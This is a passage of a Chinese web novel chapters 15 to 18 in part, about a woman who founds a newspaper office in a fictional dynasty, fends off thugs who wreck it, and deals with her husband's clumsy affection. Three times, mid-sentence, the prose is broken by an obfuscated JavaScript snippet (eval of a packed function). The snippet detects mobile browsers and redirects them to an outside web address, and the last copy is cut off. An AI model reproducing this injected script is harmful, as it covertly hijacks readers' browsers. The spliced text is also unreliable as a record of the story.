同时,大家也对县衙收受贿赂的行为发起声讨。许昭借机将此事禀告皇上,与御史台一同清点旧案卷宗,探查其中是否还有冤假错案,待调查结果水落石出后,对涉案官员一并问罪。 为保护排云的人身安全,孟允抒在报道中用了化名,众人对排云的义举拍手称快,又赞扬江芷兰的高洁善良,此事被改编成戏剧话本,一时间风靡京城。 除此之外,陈府也摆脱了凶宅之称,有好事人专程跑来宅子里一探究竟,得知此处将要新开一家“黎民报社”,又将消息流传出去,奔走相告,让孟允抒收获了一波免费的流量。 一箭三雕。 在此种情况下,报社的一切准备工作都进展得相当顺利。在孟允抒规划的截止日期之前,他们已让宅邸的各处焕然一新,也完成了初步的人员招聘工作,待日后发展壮大再扩充成员数量。 今日是报社试运营的第一天,孟允抒和秋盈起了个大早,前往报社作最终检查,接着召开职工大会,强调报社规章制度和工作注意事项。 孟允抒和秋盈行至报社的临街门面前,见大门已经开了半扇。 门内一人从暗处现出身形,将几扇大门全部打开,对两人笑道:“孟社长,秋掌柜,你们来得好早。” 排云手里握着扫帚,笑意盈盈地看向她们。 在报社工作的首要前提就是识字,单这一条标准就能筛掉不少人。排云聪明伶俐,知恩图报,孟允抒对她十分欣赏,就叫她与那些应聘者一同参与笔试与面试,最后她被录取为报社经营部门的人员,负责小报发行与售卖的工作。 孟允抒别过排云向内院走,几个往来的雇工见到她们,都会道上一声“孟社长”“秋掌柜”。 孟允抒对此很是受用,秋盈则显得有些局促:“夫人,我——” “秋掌柜,工作的时候要称职务。” 孟允抒的调侃让秋盈更是窘迫:“我是府里的下人,如何能当报社的掌柜,你莫要再取笑我。” “我并非在戏弄你。”孟允抒正色道,“你自幼便陪在我身边照顾我,我房中的一切都交由你打理,无论是人员也好,钱财也罢,你都管理得当,不曾有失。报社事务繁杂,平日我又经常在外采闻,店铺需要有人打理,这些事务只有交给你我才放心,还望姐姐不要再推脱。” 人力资源与财务管理是每个公司不容忽视的一环,更是报社运营的基础与命脉。孟允抒思虑再三,决心把这两项关键事务交给她的心腹,由秋盈再将其细化,选拔人才进行管理。 秋盈见孟允抒神情严肃,明白这是她的肺腑之言:“我知道了。我定会尽我所能,为夫——” 她及时更正口误,对孟允抒莞尔一笑:“为社长分忧。” 行至中庭,孟允抒特意进东厢房巡视了一圈。 江芷兰的卧房被她命名为“采闻堂”,作为采编部门的会议室,厅堂正中悬有京城地图,旁边则挂着张幅面较大的宣纸,上面标注着近日舆情热点及调查线索。这些情报当中,部分是孟允抒用声望点换来的,部分是她在街头巷尾打听得知,也有其余探官通过自己的人脉、其余消息渠道得来的。 孟允抒低头抚摸着那张杉木长案。若是江芷兰泉下有知,也一定对今日情景喜闻乐见。 秋盈见她神情落寞,转移话题劝她离开:“时间紧张,我们快去后院看看吧,再过一会大家都该来齐了。” 这句话点醒了孟允抒,待会她还得给职工开会,于是同秋盈移步后院。 报社后院的工坊所占面积最大,主要被分为誊写房、刻版处、印坊、杂物仓库四个区域。 “我以前在两家书坊当过拣字工,还是头一次见让人坐着排字的,真稀奇。” 孟允抒迎着七嘴八舌的讨论走进印坊,里面的工人见状纷纷起身向她问好。 “诸位不必拘礼,都请坐。”她向大家打了招呼,指着屋内的几列字架说道,“此种排字方法出于我个人的灵光一现,先试用一段时间,若各位觉得不适应,或是有更好的主意,随后可找我商量,我们共同对其进行改良。” 利用活字印刷之前得先进行活字排版,印工拿到文稿后,将需要的字模从字库拣出,按文章内容组合成版,接下来才可刷墨印制。 在这一过程中,一切劳动都全凭人力。孟允抒先前在文昌书坊体验过,这样不间断地来回行走、站立,一天下来双腿胀痛不已,长此以往定会对身体造成巨大损伤。 因此在创办报社之前,她就一直在思索,如何解决印工劳动强度大、排字速度慢的问题。 孟允抒作出的尝试是改造字架,每个字架上只存放一千个常用字,这些汉字已经能够覆盖绝大多数的书面资料,使用频率较低的字模则按韵部分类存放在公用活字库中,以备不时之需。这样一来,每个字架的体积大大减小,高度降低,印工可以坐着排版,同时也能提高拣字速度。 将报社各处都巡视完毕后,孟允抒收集了不少员工的疑问和意见,通知所有人到后院中集合开会。 “请诸位安静。”孟允抒站在最前方的台阶上,压下众人的窃窃私语,“我知道各位对报社尚有诸多疑问,接下来我所说的话是重中之重,还请各位谨记。” “小报自先皇以来便已在民间出现,流传甚广,比邸报更受百姓欢迎,受到民众追捧。只是民间小报良莠不齐,常有杜撰新闻者混淆视听,且尚未形成专营小报的店铺。为此我成立报社,诚邀诸位前来共襄盛举,从中受益。” “既然是首创之举,我们定然少有经验可循,但并不代表可以为所欲为,诸位还应循规做事。”她看了一眼萧谨言和秋盈,“我与萧主编和秋掌柜商讨之后,已经拟出一份报社基本例令,稍后会张贴在誊写房中,请各位仔细阅读。部分重点内容我在此额外强调一下。” 她望了望秋盈,收回目光说道:“平日诸位在报社中,彼此之间需以职务或字号相称。” 此言一出,满庭哗然。 报社成员的出身不一,探官和编辑多数是来自小门小户的书生、小姐,工人和伙计则大多为平头百姓,还有排云这样曾做过他人府中仆从的人,每个人都习惯了尊卑有序的交往方式,一时间难以做出改变。 对此孟允抒解释道:“不论各位家境如何,有何过往,在此处一律是报社的成员,自然没有高低贵贱之分。” 她又打趣般地说道:“再者,若是不规定称呼,你叫我一句‘孟夫人’,他叫主编一句‘萧公子’,谁听得出我是哪家的夫人,他是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337552|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的公子,岂不是全都乱了套?” 人群发出一阵轻微的哄笑。 孟允抒见众人气氛有所缓和,便言归正传,让话题进入下一部分:“当前报社主要由采编部、刻印部、发行部组成,我大致描述一下各部的职责,方便各位互相配合,增进对彼此的了解。” “厘清各部职责就要先从发报流程说起。”孟允抒介绍道,“一份报纸的诞生要经过多个环节。” “首先是选题。今后每日卯时正刻将召开晨间选题会,众位探官编辑在例会上交流舆情热点,讨论报道选题。” “其次是采写新闻。各探官围绕选题事先进行策划准备,依据线索前去走访调查报道对象,根据采访结果撰写报道。” “探官出稿后将文章交给编辑,由他们进行编修、校对、排版以及审阅工作。” “最后就是小报的印制与发行。写样先生从编辑处接收终稿进行誊写,再交予印工对照印制小报,而后拿给发行部令其售卖。各位刻工负责维护字模,及时补铸损耗活字,若文稿中有必须使用的生僻字,则需要紧急加刻字模。” 孟允抒简述了报社日常的工作流程和各部职责,先让全体员工在实际工作中熟悉一段时间,若有疑问再与她沟通。 “在此特别强调一点,为提高印制效率,也方便民众自由选择,同期小报的不同文章将分别印制收纳,不必将其组合在一起。印成后由买方自行选择购买方案。”孟允抒讲完最后一部分内容,“我要讲的就是这些。请采编部的诸位前去采闻堂集合,我还有些事情强调,其余人员可以先回到各自岗位上熟悉工作了。” 人群三三两两地散开,萧谨言与孟允抒一同前往中庭,略显惊讶地说道:“没看出来你还有这般本事,将报社事务说得条理清晰,头头是道,就像以前做过这种事似的。” 孟允抒在心底恭喜萧谨言答对了。 胤朝没有报社,自然也没有一系列与报社事务相关的专有名词,省事起见,她直接把现代报社工作中的许多专有名词拿来使用,自然信手拈来。 孟允抒感慨,想当初她最讨厌开会和领导讲话,现在却不得不在接二连三的会议中奔波。 人果然会活成自己最讨厌的样子。 她进入堂中,让众人纷纷落座,在座首说道:“在今日的选题会开始之前,我需要再次告诫诸位,采编部是报社的核心,必须明确理念,端正态度。” 她想起现代新闻学的种种乱象,希望能从源头避免这些。 “在采写新闻的过程中,无论何时都要做到不偏不倚,公正无私,不得预设立场,主观臆断,或凭个人喜好偏私一方。初步获取证据后,不要急于下定论,应当多方探查,互验真伪。最后,撰写报道时应实事求是,不得弄虚作假,不得夸大或隐瞒真相。” “为方便事后问责,每篇报道末尾都必须题写探官与编辑代号,诸位稍后可以想想自己的代号,赶午时之前交给我。” 孟允抒的目光掠过长案两边的男女,每个人脸上都带着一副期待又略显担忧的神情。 这是一次崭新的尝试,是他们从未走过的路。 可是,如果没有人敢于去前方探路,为旁人指引方向,所有人就都只能被困于方寸之地。 “我的代号是‘芷兰’。”孟允抒笑道,“第一次选题会正式开始。” 16. 闹事 开业的前几日是最忙的,由于此前没有任何经验可循,报社中的大小事务都需要孟允抒亲自处理。这种状况持续了一周多,报社中的每个人终于走上正轨,各部也开始有序运营起来。 孟允抒和各部主管的办公室位于中庭,是由那个最小的房间改造而来,西厢房则作为编修堂,供报社各位编辑使用。 “新闻报道不同于平日行文,不能这样写。”孟允抒对萧谨言说着,在他拿来的文稿上圈圈改改,“这种字词主观色彩过强,容易煽动读者情绪倒向其中一方,有失公允。” “社长!” 排云欢快地从门外蹦进来,见到萧谨言向他问了声好:“萧主编也在。” 她又面向孟允抒笑道:“昨日你交给我们的事已经办妥了。” 萧谨言见状向孟允抒告退:“我记下了,待会我将这些要点告知各位编辑。你们聊。” 他出去带上了门,孟允抒让排云在她对面坐下:“你说说,情况如何?” 考虑到小报的受众广泛,新闻又具有传播性,孟允抒觉得他们若是只在固定门面售卖小报,恐怕销量有限,于是找来发行部的几个员工下了任务,让他们再去外面联络打听一番,看看还有没有其他推广小报的法子。 “我们在外打探一番后,回来互相交流商讨,发现这些人或许可为我们所用。” 排云开始汇报他们的工作成果:“京中商业发达,城中商铺数量众多,其中不乏做些小本生意的零散摊贩,他们多位于人群密集的街巷,过路人即便不从他们的摊位上购买东西,也能一眼望见他们所售之物。” 孟允抒明白排云的意思。即使他们通过此种渠道卖不出多少报纸,也能趁机打个广告。 “还有走街串巷的卖货郎。我们经打问得知,他们都有各自的行进路线,凑在一起几乎可以覆盖整个京城。”排云将身体前倾,凑近孟允抒说道,“以上这些人中,有一部分明说愿意从我们这里低价买报,尝试售卖一阵看看盈利情况,还有些人仍在犹豫。” 报纸批发分销是个好策略,且摊贩和卖货郎的流动性极高,不用为消息传播的问题发愁。如果能与他们达成长期稳定的合作关系,或许还能培育出专营小报生意的零售点和卖报人。 “这主意不错。我们可以先与这些想要试水的商贩达成合作,起初报价低些,若他们能从中获利,自然愿意与我们长期交易,到那时再涨价也不迟。” 孟允抒向排云交代了一些谈合作的注意事项,又想起新闻时效性的问题。 “至于小报的运输……” 他们所办小报名为《黎民日报》,顾名思义是日出一份,若要尽快送往城中各个分销点,则需要数匹快马分送各处。 不但需要马,还需要精于骑术之人。 一个答案赫然出现在孟允抒脑中。 “稍后我写一封书信,劳烦你将它送到民信局的掌柜那里。你带些银两,率先拿出我们的诚意。等他们尝到甜头,我们再试着与其谈条件。” 民信局是胤朝的民营快递机构,可帮平民传递信件与物品,只是因其在行业中居于垄断地位,要价颇高。 若报社能与分销商贩达成合作,他们每日都需要寄送小报,业务需求量大,若日日如此,他们赚取的利润肯定所剩无几。 排云心领神会地点头,接着提出一个问题:“若是他们不愿压价呢?” 这次孟允抒没有作出回答,却反问她:“如果让你来处理此事,你会怎么做?” 报社事务繁杂,她不能事事亲为,得适当放手让他们自己处理问题。 排云思索一番,脸上渐渐浮现出一个不怀好意的笑容,她极力地压下嘴角,却还是没能把它抻平。 一看就知道她憋着坏。 孟允抒需要秋盈这样稳重的帮手,也需要有主见的聪明人。 “想到什么就说,我不会怪罪你。” “若掌柜不同意薄利多销,那我们只能绕开他行事。”排云笑道,“既然我们每日都有寄送需求,不多时就能与那些驿夫混个脸熟。他们当中不乏爱马之人,即便收入微薄,也会在家中养上一匹马。” “民信局掌柜收的银两到不了他们的口袋,层层分剥下去,到他们手里也没几个钱。既然如此,他们为何不直接与我们联络,接些私活?” 孟允抒听明白了,排云这是想挖墙角。 这手段很卑鄙,但是省时省力。 “既然你心中已有主意,那就放手去做。”孟允抒同意了她的方案,又叮咛她道,“但你要小心行事,莫要让那掌柜发现,招致祸端。” 门外忽然传来一阵急促的脚步声,一个伙计猛地撞开大门闯进来,上气不接下气地对孟允抒喊道:“社长,你快去前面看看,有人闹事,砸我们的铺子!” 孟允抒的心猛然被攥紧,迅速冲出屋子跑向临街的店铺。 报社被砸都是小事,秋盈还在前方的铺中,她绝对不能出事。 “让一让!” 孟允抒拨开铺中的伙计赶到秋盈身边,见她用力按着左手,连忙拉过她的手查看情况:“让我看看。” 秋盈的手掌上有一道狭长的伤口,好在伤得不深,只是稍稍渗出些血迹。 孟允抒看得心疼,对身旁的小姑娘说道:“排云,你去取些纱布来给秋掌柜包扎。” “我没事,只是方才不小心被碎瓷片划了一下,并无大碍。”秋盈安慰着她,又瞥了一眼堵在门口的几个大汉。 孟允抒放下心来,这才将注意力放在那几个面露凶相的男子身上。 他们一共六人,个个身材魁梧壮硕,浑身酒气,其中两人手持棍棒,为首的人腰间挂着个酒囊,衣衫不整,看上去就是游手好闲之辈。 而在他们脚下,散落着一地的花瓶碎片和书籍纸张,原本置于柜台上的物件都一并倒在地上。 结合伙计向她报信时所说的话,不难推断出铺中方才发生了什么事。 孟允抒看他们未带利器,猜测他们不是亡命之徒,便开口问道:“还请诸位对此番状况作出解释。你们这是何意?” 为首的男子将孟允抒上下打量一番,用戏谑的口吻说道:“你就是他们所说的那位孟社长?” 孟允抒对他的语气颇为不快,却并未在面色上显露分毫。 “正是。” 他大笑起来,冲他的同行伙伴挤眉弄眼,嘲弄地说道:“前有这位秋掌柜,后有你这个孟社长,你们不在家中好好绣花,却跑到这来抛头露面,可是挂羊头卖狗肉,假借报社之名做皮肉生意?” “真是下流。” 在一旁的排云猛然上前,孟允抒连忙拦下她,摇摇头示意她先冷静,快从后门出去报官。 “出什么事了?” 萧谨言听见院中的骚乱,和几个编辑匆匆赶至店中,他扫了一眼地上七零八落的东西和秋盈手上的纱布,怒气冲冲地对那几个大汉吼道:“你们好大的胆子,孟社长可是——” “谨言。”孟允抒及时制止他的话,“不要说。” 见萧谨言面红耳赤,那几个大汉反而哄笑起来:“你这行当里居然还有男人!” 萧谨言听出了他们话里的羞辱意味,气得浑身发抖。 黎民报社中的男女员工占比五五开,这在当今的商业活动中极为少见。女子本就容易被这些不轨之人盯上,报社成员又多为文人墨客,看起来风雅俊秀,毫无威慑力,自然不被这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15352208|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地痞流氓放在眼里。 孟允抒决定先拖延时间与对方周旋一会,看向几人冷声道:“只要不曾违反大胤律令,我们开报社还轮不到旁人来说三道四。难道就是因为我们在此经营,你们便要打砸我们的店铺?” “当然不是,孟社长想做什么便做什么,只要你有本事,哪怕把报社开到御街上也未尝不可。” 他刻意加重了“孟社长”三字的音调,话语中满是讽刺。 “但你既然要做生意,就应当明白‘来者皆是客’的道理。”他看向秋盈,佯装痛心道,“我们进来没说上几句话,你们这位秋掌柜就出言不逊,还和我们厮打起来,造成这样一片狼藉。” “胡扯!”一名伙计怒吼着打断他的话,“分明是你们先对秋掌柜动手动脚,我们上前理论,你们却动起了手!” 孟允抒都不用想就知道,凭秋盈的为人和秉性,她绝不可能无缘无故地与他人发生冲突。 但这几人就是典型的泼皮无赖,和他们根本论不出什么对错。 孟允抒问道:“所以几位想如何了结此事?” “孟社长真是爽快。”为首的大汉指指身后一名男子的脑袋,“方才秋掌柜砸伤了我这位兄弟,不作出赔偿说不过去吧?” 孟允抒瞟了一眼那人完好无损的脑袋,他们摆明了就是在碰瓷讹钱。 她冷笑着说道:“客官真是会说笑,这位兄弟未见外伤,你单凭肉眼就能作出此番定论,莫非你的医术比那医祖扁鹊还要高明?” 为首的大汉扬起下巴,双手抱臂:“如此说来,孟社长是不愿意出这笔钱了。” 孟允抒回答:“凡事总得讲个证据,客官此言实在无法服众。” “那我也懒得再同你废话。”他一挥手招呼身后的几个男子,“给我砸。” 铺中场面顿时乱作一团,伙计们一拥而上,阻拦那几名壮汉破坏店中物品,推搡之间局势很快升级,演变成了激烈的互殴,过往行人纷纷驻足,七嘴八舌地议论起来。 “别打了!” 秋盈担心店铺受损,又害怕他们此举于报社名声不利,冲进人堆奋力推开为首的男子。 孟允抒曾学过几招简单的防身术,一边自卫一边在其中维持秩序,一扭头却看见一个持棍男子的棍棒就要落到秋盈身上。 “小心!” 她来不及细想就上前推开秋盈,右肩结结实实地挨了一棍,紧接着耳边响起一阵“衙役来了”的呼喊。 秋盈连忙过来扶着她询问伤势,排云带来的几名衙役简单问了几句情况,将那六人一齐带走,店中的混乱才算告一段落。 孟允抒稍稍活动了下肩膀,发觉疼痛只来自皮肤表层,并未伤及骨头。 她让店里的员工去收拾残局,继续进行手头的工作,高声说道:“我并无大碍,诸位都去忙吧。” 众人各自散去,秋盈则是满面懊悔和自责:“我不该意气用事,反倒连累了你。” “你做得没错,不必内疚。和那些流氓哪能讲得清道理?” 孟允抒宽慰她几句,又抬起她的左手,看看她手上的纱布笑道:“你也受了伤,我们这算是患难与共了。” 打趣一番后,孟允抒言归正传道:“做生意难免会遇到这种不讲理的无赖,今日之事也算是长了个教训。” 她沉思片刻,找出条应对之策:“之前我从书上学了几套防身的招式,回府后我先教给你,你和我一起传授给其余成员。除此之外,我们还得全力以赴运营报社,尽快打响名号,这样也就有了底气。” 报社的事多如牛毛,她向秋盈嘱咐一番,转身欲走时才想起有句话她忘了提醒秋盈。 “不要将今日之事告诉许公子。” 17. 关心 许昭将目光从书上挪开,看向门外的绿植让眼睛稍事休息,却发现天色已经暗了下来。 他估算了下时间,当前应是酉时将尽。 自报社开张以来,孟允抒忙得不可开交,归府的时间比先前在文昌书坊时还要迟上许多,晚饭也经常在外解决。 两人虽处于同一屋檐下,但孟允抒早出晚归,许昭已经连续五日不曾见过她。许府中本就没有多少下人,又少了孟允抒平时谈天说地的热闹劲儿,府中上下都弥漫着冷清的味道。 他正盯着院中之景发怔,一个小厮走进门行了个礼:“老爷。” 许昭回过神,重新拿起书:“再等等吧,兴许孟姑娘稍后就回来了。” “我不是叫您用膳。”小厮笑了笑,“萧家三公子来了,我让他在正厅等您呢。” 许昭前往正厅,与萧睿言寒暄一番后落座。 萧睿言已经赴任,许昭对他的称呼随之改变:“不知萧大人来访所为何事?” 因孟允抒创办报社之事,近日萧睿言与许昭往来频繁,两人也已经算是熟识,故而免了许多客套话。 萧睿言开门见山道:“听闻今日有人在报社闹事,孟夫人受了轻伤,我特来探望。请问她当下状况如何?” “什么?” 许昭没想到萧睿言一开口就是重磅消息,赶紧追问他:“你说孟——允抒受伤了?这是怎么回事?” 萧睿言对此也略显诧异:“我听二哥说的。许大人不知情?” 许昭摇头:“允抒尚未回府,我无从得知报社情况。还请萧大人为我细细讲来。” 萧睿言了然,向他讲述了这场风波的始末,而后又感慨道:“我未曾料到孟夫人竟如此醉心于经营报社,甚至达到了废寝忘食的地步。二哥一个时辰之前就已府,而她居然还在报社中忙碌。大人应当多提醒她保重身体。” 许昭听闻报社之事,又是担忧又是愤慨,一时间不知该说些什么。 见他沉思不语,萧睿言想起先前在萧府园林中和孟允抒的交谈。 “许大人,这是你的家事,本不该由外人多嘴,但孟夫人实乃女中豪杰,令人敬佩,请容我斗胆进言。” 许昭点头道:“大人不必拘礼,直言就是。” “孟夫人知书达理,纵然你与她过往曾有种种纠葛,她却并不记恨大人,也理解你的难处。” 许昭同意萧睿言的话,从孟允抒这段时间的行为中就可以得出这番结论。 在许多事上他都愧对孟允抒,可她先是替他写文章辟谣辩白,而后又坦言不介意他出身低微,还为了替他分忧,不辞辛苦地终日奔忙。 出身显赫却不自视甚高,才华横溢而又通情达理。得妻如此,夫复何求。 “那日我与孟夫人闲聊,她曾抱怨许大人不解风情。”萧睿言将两人的对话添油加醋一番后转述给许昭,“孟夫人说她虽倾心于你,却因你孤僻少语,令她难以接近,不知该如何叩开大人心扉。” 许昭深受震撼,不可置信地问萧睿言:“这话是允抒亲口所说?” 萧睿言笑了起来:“大人若是不信,可以亲自去问孟夫人。” 许昭当然问不出这些话,只能通过孟允抒的近期表现推断萧睿言所言属实。 他竟对她的一腔热情浑然不觉。 萧睿言提醒许昭:“夫妻之间的感情需双方合力经营,大人也应多多关心孟夫人,莫让她寒了心,或是与你生出嫌隙。” 许昭认为萧睿言说得在理,有些无措地请教他道:“许某不善言辞,还请萧大人为我指点一二。” 萧睿言凑近许昭,露出一个高深莫测的笑容。 “大人算是找对人了。在与人交往这方面,睿言可谓经验颇丰。” 许昭点头,认真聆听萧睿言的教诲。 “首先,大人应当改改你的性格,不要总是拒人于千里之外,而是主动关心她,与她沟通。大人若是不拉近你与孟夫人的距离,她又怎能感知到你对她的倾慕与关怀?” “其次,大人应该多陪孟夫人出去走走。她本来就喜爱热闹,若你们一同出游,也可使感情升温。” “还有,你是她的夫君,应当多多重视孟夫人的需求。大人可以试探她有没有什么喜欢的小玩意,买来做礼物送给她,定能讨她欢心。” “除此之外,你可以多观察其他人身为夫君的做法如何,比如适当示弱服软,说些好话夸赞孟夫人……” 许昭一条条地听下来,觉得这其中的门道甚是复杂,但还是耐心记忆着他的锦囊妙计,拿出了他背诵大胤律法的态度。 萧睿言与许昭聊了半晌,他喝了口茶润润嗓子,起身向许昭告辞:“今日天色已晚,我不好再叨扰大人,我们改日再叙。” 在许昭眼里,萧睿言现在俨然是一副恩师的伟岸形象,他将萧睿言恭敬地送出大门,转而叮咛门房:“待孟姑娘回府,你让她直接来我书房。” 直至月上柳梢时,许府门前的石板路上才响起清脆的马蹄声。 孟允抒下了车,还在和秋盈讨论报社之事:“这阵子就先辛苦你观察一阵,若报社中有可用之才,可以提拔他们帮助你管理社中账务,只是最终必须由你过目一遍。” 她们的说话声传进府内,门房及时跑来给两人开了门,告知孟允抒许昭在书房等她。 孟允抒先让秋盈回房,快步赶往许昭处。 通常情况下她和许昭互不打扰,近期她又忙于报社之事,一连几天没见过许昭,都差点忘了府中还有他这号人存在。 这会许昭找她,或许是有什么要紧事。 孟允抒行至书房门前,见里面依然灯火通明,直接抬脚迈了进去。 她笑吟吟地向她的室友行礼:“许公子,这么晚了你还不曾歇息?” 许昭闻声放下手中的书,也向孟允抒报以微笑:“姑娘回来了,请坐。” 孟允抒疑惑地看着许昭指的方向,那是张和他并排的椅子,两者之间的距离不过一指宽。 她迟疑着问许昭:“我们一定要这么坐吗?” 许昭的盛情难却,孟允抒最终还是挨着他坐下,肩并肩地对着他桌上那堆书大眼瞪小眼。 她现在一扭头就能发现,许昭那张脸近在咫尺。 哪有这样坐着聊天的。 孟允抒还没调整好状态开口说话,许昭率先问道:“这几日我不曾见你,报社中的各项事务可还顺利?” 孟允抒发现,许昭说这话时根本没在看她,而是面色平静地目视前方,像是在和空气交流。 看起来他也不习惯这种座位设置。 “公子放心,一切都照常进行,并无差错。” 孟允抒说着,起身想将椅子搬到许昭对面去,却被他一把攥住了手。 她不理解许昭的想法,困惑地看了看他。 两人目光相接的一瞬间,许昭忽地抽回手,将视线投向别处,语气略显失落:“姑娘果然与我隔阂颇深。” 孟允抒还以为许昭指的是她搬椅子的举动,向他解释道:“公子误会了,你我这样不便交谈,我去对面坐。” “不行。”许昭断然拒绝她的提议,转而直视着她,“今日报社中有人寻衅滋事,你为何不对我说实话?” 孟允抒心头一惊,这下也顾不上挪动椅子,连忙笑着掩饰道:“报社分明平静无事,公子从何处听闻这般流言?” 她再三叮嘱秋盈不要将此事透露给许昭,而且两人是一齐回到府中,绝不可能是她走漏了风声。 只要消息来源不可靠,她就还有辩解的余地。 “你还在瞒我。”许昭面有愠色,“你受伤了也不告诉我,还要我从旁人口中才能得知。” 听许昭的话,他应当已经知晓内情,现在再狡辩只会火上浇油。 孟允抒眼眸低垂,语气恳切地说道:“我并非有意欺瞒公子,只是你平日公务繁忙,我不愿让你因这些小事忧心。况且我只是受了点轻微伤,不足挂齿,故而没有对你坦言,请公子见谅。” “抱歉。”许昭察觉到他的脸色不大好看,或许吓到了孟允抒,温声解释道,“我无意怪罪姑娘,只是你经历此番遭遇,却非要一人扛着担子,我实在挂念姑娘,所以才……” 孟允抒松了口气,还好许昭不是因为她的欺瞒而动怒。 她对许昭笑道:“多谢公子关怀。今日之事有惊无险,衙役及时赶到,犯人都已被捉拿归案,你不必担忧。” 许昭沉默片刻,轻轻叹了口气。 “创社之初你就多次嘱咐我与萧公子,让我们对入股之事守口如瓶,所以无人知晓报社的来头。” 他抬眼注视着孟允抒,眼神中满是懊悔与愧疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟允抒的话如声声惊雷贯彻人心,过了半晌,许昭依然觉得书房内回荡着她这番激情澎湃又坚定不移的自白。 许昭微微俯首:“是我轻视了姑娘。” 这句庄重的回答为孟允抒的发言画上了句点,同时也给了她莫大的支持与理解。 孟允抒如释重负地笑道:“公子不必道歉,你愿意听我说这番话,我已是感激不尽。” 她确实经常在许昭面前演戏,可这句话却是发自真心。许昭与她生活的时代不同,却能够理解并尊重她的思想观念,实属不易。 孟允抒的问题圆满解决,她起身告辞道:“公子也早些歇息吧。” “嗯。”许昭点点头,却猛地想起他还有件事没做,急忙叫住孟允抒,“姑娘留步,我还有一事想问。” 在他的示意下,孟允抒回到她那个尴尬的座位上,看着许昭坐在她面前欲言又止,接着站起来在书房转了几圈,最终还是没能开口。 孟允抒满腹疑惑:“公子想问什么直言就是,我不会责怪你。” 这句话像是让许昭下定了决心,他在孟允抒面前站定,目光躲闪。 “听说姑娘伤在右肩,我能否看看你的伤势如何?” 孟允抒的身体一僵。 从名义上来讲,许昭提出的要求并不过分,她的思想也并不保守,露个肩膀不是什么大不了的事。 但他们两个孤男寡女共处一室,再加上许昭的语气拘谨,她总觉得这话听起来有些暧昧。 孟允抒强行摆脱脑内那些混乱怪异的想法,点点头道:“可以。” 她褪下半边外衫,一片淤青就这样赫然暴露在外。 许昭没有碰她的皮肤,只是蹙起眉,用目光轻轻抚过那处青紫的瘀伤。 他曾见过无数比这更加狰狞的伤口,可眼前的淤青依然让他心头发颤。 “现在还疼吗?” 孟允抒不以为意:“本来就没多疼,一点小伤而已。我已经上过药了,过不了几日就能消下去。” 许昭察看完伤势,让孟允抒重新整理好衣服,劝说她道:“明日你先休息一天,别去报社了。” “不行,明日我要去庙会采闻。我们已经确定好选题,不能临时换人。” 许昭若有所思,他突然开口问道:“秋盈会陪你一起去吗?” 孟允抒笑笑:“当然不会。秋盈现在可是我们报社的大掌柜,有时候比我还忙。再说,总不能给每个探官都配名随行人员,报社哪有那么多人。” “那我和你一同前去。”许昭垂眸说道,“正巧我也想逛庙会。” 孟允抒看着他心虚的模样,马上得出了一个结论。 许昭可能从来没撒过谎。 18. 庙会 孟允抒坐在马车上撩起车帷,看向街上络绎不绝的行人与路边大声叫卖的摊贩,将繁华的街景尽收眼底。 在千百年的发展演化中,胤朝的庙会内涵已经远超字面意义,除了它最初具有的宗教色彩以外,更多地象征着每月五次的大型商贸集会活动。举办庙会的中心场所是大礼国寺,许多商人会借此良机,在寺庙内外设置摊位,经营自己的生意。 孟允抒望见一名理发匠放了几个小马扎,直接坐在路边给顾客刮脸修面;不远处的商贩高声吆喝,宣传所售香饮子的奇特功效;茶坊中挤满了人,依稀可见其中正有人热火朝天地斗茶;甚至还有在街边做艾灸按摩的行医。 拥挤的商品与行人看得孟允抒眼花缭乱,虽然她对满目喧嚣恋恋不舍,却也只能暂时放下车帷,先去打个报道的腹稿。 当她把注意力收回到车中时,这才察觉到一丝不对劲。 她看了看端坐在她右侧的许昭,又低头估量了一下两人之间的距离。 她分明记得,两人刚上车的时候分坐在车厢两端,他们中间的空隙还能容纳得下第三个人。 但眼下许昭已经坐在车厢正中央了。 孟允抒看他一脸正气的样子,不像是有意为之,猜测这是马车颠簸的缘故。当前街上行人摩肩接踵,时不时有对面过来的马车与他们狭路相逢,二者还要争道而行。在剧烈的晃动之中,他的位置发生偏移也实属正常。 于是孟允抒保持沉默,转而去思考她待会要提的问题。 这份和谐没能保持太长时间,因为孟允抒敏锐地发现,许昭又悄悄朝她这边挪了一小段距离。 她不解地看向许昭,他还是那副坦然的神色,坐在车上不发一言。 孟允抒不明白他这是在干什么,她只知道,再不开口的话他就要挤到自己身上来了。 “许公子,你往那边坐坐。”孟允抒提醒他,“我快没处坐了。” 许昭转头看她一眼,神情落寞,像是受了沉重的打击。 他低声问道:“姑娘是想让我离你远些?” 孟允抒听出他声音中的难过和酸涩,更加觉得莫名其妙。 他这是和谁学的,萧谨言吗? “不,我没有这个意思,你别误会。” 无论孟允抒如何解释,许昭都不相信她心口如一,她第一次想用“笨嘴拙舌”来形容自己。最终孟允抒只能无奈地说道:“算了,就这样坐着吧。” 在听到这句话的瞬间,许昭的眼神一亮,脸上也显出高兴的神色。 孟允抒隐约觉得,她好像给自己带了个拖油瓶。恐怕她今日的采访不会很顺利。 